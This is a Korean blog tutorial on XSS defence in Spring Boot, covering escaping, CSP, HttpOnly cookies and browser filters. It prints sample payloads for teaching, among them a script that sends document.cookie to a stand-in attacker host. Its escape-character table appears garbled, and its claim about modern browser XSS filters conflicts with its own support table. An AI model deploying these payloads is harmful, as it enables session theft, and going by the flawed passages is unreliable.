입력 데이터 이스케이프, CSP, HTTPOnly 설정, 브라우저 내장 필터로 XSS 공격에 대응하자.
1. XSS 공격의 위험성
XSS(Cross-Site Scripting) 공격은 웹 애플리케이션의 보안 취약점을 이용하는 공격이다. 이 공격은 웹 애플리케이션의 사용자 인터페이스에 악의적인 스크립트를 주입하여, 다른 사용자들의 브라우저에서 실행되게 만든다. XSS 공격은 주로 웹 환경에서 발생하며, 기본적으로 클라이언트 측에서 발생하는 보안 문제이다.
다시 말해, XSS(Cross-Site Scripting) 공격은 사용자의 중요한 정보, 예를 들어 쿠키나 세션 토큰 같은 개인정보를 위험에 빠뜨릴 수 있는 심각한 보안 위협이다. 공격자들은 이런 방식으로 사용자의 계정에 무단으로 접근할 수 있다. 또한, 이러한 공격은 사용자의 브라우저를 통해 원치 않는 요청을 보내 웹 애플리케이션에 의도치 않은 행동을 유발할 수 있으며, 이는 사이트 간 요청 위조(CSRF)로 이어질 수 있다.
더 나아가, 악의적인 스크립트가 사용자 브라우저에서 실행되어 피싱 사이트로의 리다이렉트나 악성 광고를 표시하는 등의 피해를 줄 수 있다. 이 모든 것이 결국에는 정상적인 웹 페이지 기능의 손상이나 변경으로 이어지며, 사용자 경험을 크게 저해하게 된다.
2. XSS 공격 예시
XSS 공격에는 다양한 유형이 있으며, 각각의 방식으로 웹 애플리케이션의 취약점을 이용할 수 있다. 아래에 몇 가지 실제 상황에서 발생할 수 있는 XSS 공격 예시들이다.
2-1. 댓글을 통한 스크립트 주입
사용자가 게시판이나 블로그 댓글에 악성 스크립트를 삽입하는 경우다. 이 스크립트는 다른 사용자가 해당 페이지를 방문할 때 실행되어, 사용자의 쿠키나 세션 정보를 탈취할 수 있다.
<script type="text/javascript">
fetch('http://malicious.example.com/steal?data=' + document.cookie);
</script>
2-2. 폼 입력을 통한 XSS
사용자가 웹 폼에 입력하는 데이터를 검증 없이 저장하고 출력하는 경우, 악의적인 스크립트가 포함될 수 있다. 예를 들어, 사용자 프로필 정보에 스크립트를 삽입하여 다른 사용자가 해당 프로필을 조회할 때 실행되게 할 수 있다.
<script type="text/javascript">
alert('XSS Attack!');
</script>
2-3. URL 파라미터를 이용한 XSS
웹 애플리케이션에서 URL 파라미터를 적절히 이스케이프 처리하지 않으면, URL을 통해 XSS 공격이 가능하다. 예를 들어, 다음과 같은 URL을 통해 스크립트가 실행될 수 있다.
http://example.com/page?name=<script>alert('XSS');</script>
2-4. 이미지 태그 오용
이미지 태그 내에 스크립트를 삽입하여, 이미지가 로드되지 않을 때 스크립트가 실행되게 하는 방법이다. 예를 들어, onerror 이벤트를 사용하여 이미지 로드 실패 시 스크립트를 실행시킬 수 있다.
<img src="invalid-image.jpg" onerror="alert('XSS');">
2-5. CSS를 통한 XSS
CSS 내에 스크립트를 포함시켜, 스타일이 적용될 때 스크립트가 실행되게 하는 방법이다. CSS는 일반적으로 스크립트 실행에 사용되지 않지만, 특정 상황에서 스크립트를 실행할 수 있는 여지가 있다.
<style>
body {
background-image: url("javascript:alert('XSS')");
}
</style>
이러한 다양한 XSS 공격 방식들은 웹 애플리케이션의 다양한 부분에서 발생할 수 있으며, 각각의 방식으로 사용자의 데이터를 위협할 수 있다. 따라서 웹 애플리케이션 개발 시 사용자 입력의 검증과 적절한 이스케이프 처리, 콘텐츠 보안 정책(CSP) 설정 등의 방어 기법을 적용하는 것이 중요하다.
💡 여기서 내가 직접 스크립트를 DOM 객체에 추가하는 것도 아니고 댓글, 폼, 이미지 등등에 그냥 스크립트만 넣는다고 해서 이 스크립트가 실행이 될까? 하는 의문이 생겼다.
찾아보니, 댓글에 해당 스크립트가 존재하는 경우, 그 댓글을 출력하는 페이지를 열 때 웹 브라우저는 스크립트를 자동으로 실행하며, 이 스크립트에 의해 사용자의 쿠키 데이터가 악의적인 외부 도메인으로 전송될 수 있다고 한다.
이것이 바로 XSS 공격의 원리 중 하나라 웹 애플리케이션은 사용자 입력을 신뢰하지 않고 적절히 검증하고 이스케이프 처리하여 이러한 공격을 방어해야 한다.
이제 XSS(Cross-Site Scripting) 공격을 방어하기 위한 방법을 살펴보겠다. 앞서 언급한 예시 중 '댓글을 통한 XSS' 예제에서 발생할 공격이 실행되지 않도록 하는 것이 목표다.
3. 사용자 입력의 검증 및 이스케이프 처리
3-1. 이스케이프 처리란?
사용자로부터 받은 데이터에 포함된 특정 문자들을 안전한 형태로 변환하는 것을 말한다. 예를 들어, <, >, &, " 같은 문자들은 HTML에서 특별한 의미를 가지므로, 이들을 각각 <, >, &, " 와 같이 변환한다. 이렇게 하면 브라우저가 이 문자들을 HTML 태그나 속성으로 해석하는 것을 막을 수 있다.
만약에 사용자가 입력한 댓글에 <script> 태그가 포함되어 있다면, 이스케이프 처리를 통해 <는 <, >는 >로 변환한다. 그 결과, 브라우저는 이를 스크립트로 해석하지 않고 단순한 텍스트로 표시한다.
3-2. 스프링 부트 적용
스프링 부트 환경에서 사용자 입력을 안전하게 처리하는 방법이다.
import org.springframework.web.util.HtmlUtils;
public class SafeInputService {
public String sanitizeInput(String input) {
// HTML 이스케이프 처리를 통해 사용자 입력을 안전하게 만든다.
return HtmlUtils.htmlEscape(input);
}
}
이 방법은 사용자가 입력하는 모든 데이터에 대해 적용된다. 예를 들어, 댓글, 폼 입력, URL 파라미터 등 사용자가 입력할 수 있는 모든 영역에서 XSS 공격을 방어할 수 있다.
4. Content Security Policy (CSP)
4-1. CSP의 역할
Content Security Policy (CSP)는 웹 애플리케이션 보안의 핵심 요소로, 웹 서버가 브라우저에게 어떤 외부 리소스가 안전하게 로드될 수 있는지 지시하는 보안 정책이다.
4-2. 작동 방식
CSP는 HTTP 헤더(Content-Security-Policy)를 통해 설정되며, 웹 사이트가 어떤 종류의 리소스를 어디서 불러올 수 있는지 브라우저에게 알려준다. 예를 들어, script-src 'self' 정책은 웹 페이지가 자신과 동일한 출처의 스크립트만 실행할 수 있음을 의미하며, 다른 도메인의 스크립트는 차단된다.
4-3. CSP의 중요성
CSP를 사용하면, 웹 페이지에 악의적으로 주입된 외부 스크립트가 실행되는 것을 방지하여, 사용자의 데이터 탈취나 세션 탈취와 같은 XSS 공격을 막을 수 있다.
4-4. 예시 상황
예를 들어, 공격자가 malicious.example.com과 같은 외부 도메인에서 호스팅되는 악성 스크립트를 웹 페이지에 삽입하려고 할 때, CSP 설정은 이러한 스크립트의 실행을 차단한다.
4-5. CSP의 추가적인 적용 방법
CSP는 다음과 같은 방식으로 웹 애플리케이션 보안을 강화할 수 있다:
- 외부 스크립트 차단: script-src 'self' 정책은 외부 도메인에서 호스팅되는 스크립트의 실행을 차단한다. 이는 공격자가 웹 페이지에 삽입한 외부 스크립트가 실행되는 것을 방지한다.
- 인라인 스크립트 제한: 동일한 정책은 웹 페이지 내의 인라인 스크립트 실행도 제한한다. 페이지 내에 직접 삽입된 스크립트는 동일 출처 정책에 따라 실행될 수 있다.
- 이미지 태그 오용 방지: img-src 'self' 지시어를 사용하여, 동일 출처에서만 이미지를 로드하도록 설정할 수 있다. 이는 이미지 태그를 이용한 XSS 공격을 방지한다.
4-6. 스프링 부트 적용
스프링 부트 애플리케이션에서 CSP를 구현하는 방법은 다음과 같다:
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.headers()
.contentSecurityPolicy("script-src 'self'; img-src 'self'");
}
}
위의 예시 코드에서 contentSecurityPolicy("script-src 'self'; img-src 'self'")는 CSP를 설정하여, 현재 도메인('self')에서만 스크립트와 이미지를 로드하도록 지시한다. 이 설정은 웹 애플리케이션을 보호하기 위해 외부 출처에서 로드되는 스크립트와 이미지의 실행을 차단한다.
❓ 사실 위 글을 적으면서 조금 헷갈리는 부분이 있었다.
만약에 사용자가 댓글에 스크립트를 적어놓고 저장한다면, 결국 나중에 저장된 댓글을 불러올 때 서버에 저장된 데이터를 가져오는 거니까 '동일한 출처'의 스크립트인 셈 아닌가? 그럼 XSS 공격을 방어하지 못하는 거 아닌가?라고 생각이 들었다. 이 부분에 대해서 더 명확하게 이해해 보자!
위에서 계속 언급되는 '동일한 출처의 스크립트만 실행할 수 있다'에 대해서 더 자세히 알아보자. 그러기 위해선 'self' 지시어의 의미를 더 자세히 이해해야 한다.
사용자가 게시판에 스크립트를 삽입하는 상황을 다시 한번 가정해 보자.
CSP 'self' 지시어의 의미
CSP에서 'self' 지시어는 웹 페이지가 자신의 도메인(출처)에서 로드된 스크립트만 실행할 수 있음을 의미한다. 이는 스크립트가 웹 페이지와 동일한 서버, 즉 동일한 출처에서 제공되어야 함을 나타낸다.
예를 들어, example.com 웹 페이지에 CSP script-src 'self'가 설정되어 있다면, 이 웹 페이지는 example.com에서 호스팅 되는 스크립트만 실행할 수 있다. 다른 도메인에서 제공되는 스크립트는 실행되지 않는다.
사용자가 게시판에 스크립트를 삽입하는 경우
사용자가 게시판 댓글에 <script> 태그를 삽입하는 경우, 이 스크립트는 웹 페이지가 로드되는 동일한 도메인에서 실행되는 것으로 간주된다. 이는 스크립트가 페이지의 일부로서 브라우저에 의해 해석되고 실행되기 때문이다.
예를 들어, example.com 게시판에 사용자가 다음과 같은 스크립트를 삽입했다고 가정해 보자.
<script type="text/javascript">
fetch('http://malicious.example.com/?cookie=' + document.cookie);
</script>
이 스크립트는 example.com의 게시판 페이지에서 실행된다. 여기서 fetch 함수는 외부 도메인인 malicious.example.com으로 HTTP 요청을 보내려고 한다.
CSP의 작용
CSP script-src 'self' 정책은 이 스크립트 자체의 실행을 허용한다. 왜냐하면 스크립트는 현재 도메인(example.com)의 페이지에서 실행되고 있기 때문이다.
그러나, 이 스크립트가 시도하는 외부 도메인으로의 연결은 CSP의 다른 지시어에 의해 제한될 수 있다. 예를 들어, connect-src 'self' 지시어가 설정되어 있다면, example.com 외부로의 HTTP 요청(이 경우 malicious.example.com으로의 요청)은 차단된다.
요약하자면, CSP 'self' 지시어는 스크립트가 현재 웹 페이지와 동일한 출처에서 로드되어야 함을 나타낸다. 이는 스크립트의 원본이 아니라 실행 위치를 기준으로 한다. 사용자가 게시판에 삽입한 스크립트는 동일한 출처에서 로드된 것으로 간주되어 실행될 수 있지만, CSP 정책에 따라 외부 도메인으로의 연결은 제한될 수 있다. 따라서, CSP는 웹 애플리케이션을 XSS 공격으로부터 보호하는 데 중요한 역할을 한다.
5. HTTPOnly 쿠키 사용
HTTPOnly 쿠키를 이해하기 위해서는 먼저 쿠키와 웹 보안의 기본 개념을 알아야 한다. 쿠키는 웹사이트가 사용자의 브라우저에 저장하는 작은 데이터 조각으로, 사용자의 세션 정보를 유지하는 데 사용된다. 예를 들어, 사용자가 로그인할 때 생성되는 쿠키는 사용자가 해당 웹사이트에서 인증된 상태임을 나타낸다.
5-1. HTTPOnly 쿠키의 중요성
HTTPOnly 쿠키는 JavaScript를 통한 접근이 차단된다. 이는 XSS 공격을 통해 악의적인 스크립트가 사용자의 쿠키 정보를 탈취하는 것을 방지한다.
사용자의 세션 쿠키가 탈취당하면, 공격자는 사용자의 세션을 가로채서 사용자처럼 행동할 수 있다. 이는 사용자의 개인 정보 및 계정 보안에 심각한 위협이 된다.
5-2. HTTPOnly 쿠키의 동작 방식
서버에서 쿠키를 생성할 때 HTTPOnly 플래그를 설정한다. 이는 쿠키가 HTTP(S) 요청을 통해서만 서버로 전송되고, 클라이언트 측 JavaScript 코드에서는 이 쿠키를 읽거나 수정할 수 없음을 의미한다.
이 설정으로 인해, 만약 웹사이트에 XSS 취약점이 있더라도, 이 취약점을 통해 쿠키를 탈취하는 것이 불가능해진다.
5-3. 스프링 부트 적용
이 코드에서는 HttpServletResponse 객체를 사용하여 새로운 쿠키를 생성한다. setHttpOnly(true) 메서드를 호출하여 이 쿠키를 HTTPOnly로 설정한다. 이 쿠키는 클라이언트 측의 JavaScript 코드로부터 보호되며, 오직 서버의 HTTP 요청을 통해서만 전송된다.
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
public void createHttpOnlyCookie(HttpServletResponse response) {
Cookie cookie = new Cookie("sessionID", "123456");
cookie.setHttpOnly(true); // HTTPOnly 플래그 설정
response.addCookie(cookie);
}
❓ 만약에 JWT를 쿠키에 저장했을 때는 어떻게 해야 할지 궁금해졌다.
JWT (JSON Web Token)를 사용하는 경우, 클라이언트 측에서 토큰을 관리하고 API 요청 시 사용해야 하는 상황이 발생할 수 있다. 이 경우, HTTPOnly 쿠키를 사용하는 것은 적합하지 않을 수 있다.
HTTPOnly 쿠키는 JavaScript를 통한 접근을 차단하기 때문에, 클라이언트 측 코드에서 JWT를 읽거나 사용하는 것이 불가능해진다. 대신, JWT를 localStorage, sessionStorage 또는 HTTPOnly가 아닌 일반 쿠키에 저장하여 JavaScript가 접근할 수 있도록 할 수 있다.
그러나 이러한 접근 방법은 XSS 공격에 더 취약하므로, 추가적인 보안 조치를 고려해야 한다. 예를 들어, CSP(Content Security Policy)를 설정하여 XSS 공격을 방지하거나, JWT의 유효기간을 짧게 설정하여 토큰 탈취 시 발생할 수 있는 위험을 최소화하는 방법이 있다.
결국, JWT를 저장하고 관리하는 방법은 애플리케이션의 보안 요구 사항과 기능 요구 사항을 모두 고려하여 결정해야 한다.
6. X-XSS-Protection 헤더 사용 - 권장하지 않음
6-1. X-XSS-Protection이란?
일부 브라우저에서 제공하는 기능으로, XSS 공격을 탐지하고 차단할 수 있도록 돕는다. 이 헤더를 사용하면 브라우저가 악의적인 스크립트를 자동으로 감지하고 차단할 수 있다. 하지만 모든 브라우저가 이 기능을 지원하는 것은 아니므로, 다른 방어 기법과 함께 사용하는 것이 좋다.
6-2. 스프링 부트 적용
스프링 부트에서 X-XSS-Protection 헤더는 설정 파일로 적용할 수 있다. 이 설정은 브라우저에게 XSS 공격을 탐지할 때 차단하도록 지시한다. block(true)는 탐지된 XSS 공격을 차단하도록 설정하는 옵션이며, 필요에 따라 false로 설정하여 차단하지 않도록 할 수 있다.
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.headers()
.xssProtection()
.block(true); // false로 설정 시, 탐지된 XSS 공격을 차단하지 않음
}
}
2023년 12월을 기준으로 알아봤을 때 대부분의 현대 브라우저들(Chrome, Firefox, Safari, Edge의 최신 버전)은 X-XSS-Protection 헤더를 지원하지 않는다. 이 헤더는 일부 오래된 브라우저 버전에서는 여전히 지원되며, 레거시 시스템이나 구 버전 브라우저를 사용하는 사용자에게는 관련이 있을 수 있다.
브라우저 | 지원 현황 |
Internet Explorer | 6-7: 지원 안함 8-11: 지원함 |
Edge | 12-16: 지원함 17-120: 지원 안함 |
Firefox | 지원 안함 |
Chrome | 4-77: 지원함 78-123: 지원 안함 |
Safari | 3.1-15.3: 지원함 15.4-17.3: 지원 안함 |
Opera | 10-64: 지원함 65-104: 지원 안함 |
Safari on iOS | 3.2-15.3: 지원 함 15.4-17.2: 지원 안함 |
Android Browser | 2.1-4.4.4, 119: 지원 안 함 |
Chrome for Android | 지원 안함 |
7. 브라우저 내장 XSS 필터
최신 브라우저들은 일반적으로 XSS 공격을 탐지하고 방지하기 위한 내장 기능을 포함하고 있다. 이러한 기능은 사용자를 웹 기반의 XSS 공격으로부터 보호하는 데 도움이 된다.
7-1. 브라우저 내장 XSS 필터의 작동 방식
브라우저는 페이지의 콘텐츠를 분석하여 XSS 공격으로 의심되는 스크립트를 자동으로 탐지한다. 이는 일반적으로 DOM 기반의 분석을 통해 이루어진다. 의심스러운 스크립트가 탐지되면, 브라우저는 해당 스크립트의 실행을 차단할 수 있다. 이는 사용자의 동의 없이 자동으로 이루어진다. 일부 브라우저는 사용자에게 경고를 표시하여 의심스러운 활동을 알린다. 사용자는 이러한 경고를 통해 위험한 웹 페이지에 대해 인지하고 적절한 조치를 취할 수 있다.
7-2. 현대 브라우저의 XSS 필터 예시
- Google Chrome: Chrome은 내장된 XSS 감지 기능을 가지고 있으며, 의심스러운 스크립트를 자동으로 차단한다.
- Mozilla Firefox: Firefox 또한 XSS 공격을 탐지하고 방어하기 위한 기능을 포함하고 있다.
- Microsoft Edge: Edge는 Microsoft의 보안 기술을 사용하여 XSS 공격을 탐지하고 방지한다.
- Safari: Apple의 Safari 브라우저 역시 XSS 공격에 대한 방어 메커니즘을 내장하고 있다.
7-3. 주의점
브라우저의 내장 XSS 필터는 많은 XSS 공격을 방지할 수 있지만, 모든 종류의 XSS 공격을 완벽하게 차단할 수 있는 것은 아니다. 새로운 공격 기법이 지속적으로 개발되고 있기 때문에, 브라우저의 보안 기능에만 전적으로 의존해서는 안된다. 결국, 웹 애플리케이션의 보안을 강화하기 위해서는 CSP, 서버 측의 입력 검증 및 살균 처리, HTTPS 사용 등 다양한 보안 계층을 함께 적용하는 것이 중요하다.
현대 브라우저들의 내장 XSS 필터는 웹 보안의 중요한 요소이지만, 웹 애플리케이션 보안을 위한 전반적인 전략의 일부일 뿐이다. 따라서, XSS 공격에 대응하기 위해서는 브라우저의 보안 기능과 함께 다양한 방어 메커니즘을 적절하게 조합하여 사용하는 것이 중요하다.
8. 간단 요약
XSS 공격을 방어하기 위해서는 사용자 입력을 안전하게 처리하는 것이 핵심이다. 이를 위해 입력 데이터의 이스케이프 처리, 안전한 콘텐츠 정책(CSP)의 설정, HTTPOnly 쿠키 사용 등을 병행하여 적용해야 한다. 이러한 방어 기법을 통해 웹 애플리케이션의 보안을 강화할 수 있다.
🔻 SQL 인젝션 공격에 대해서도 궁금하다면? 🔻
SQL 인젝션 방어: PreparedStatement 기본 사용부터 MyBatis, JPA 적용까지
'Spring > Spring 기초 지식' 카테고리의 다른 글
HTTP 메서드 이해: 멱등성, 안전성 및 사용자 권한 검증까지 (0) | 2024.02.05 |
---|---|
SQL 인젝션 방어: PreparedStatement 기본 사용부터 MyBatis, JPA 적용까지 (0) | 2023.12.16 |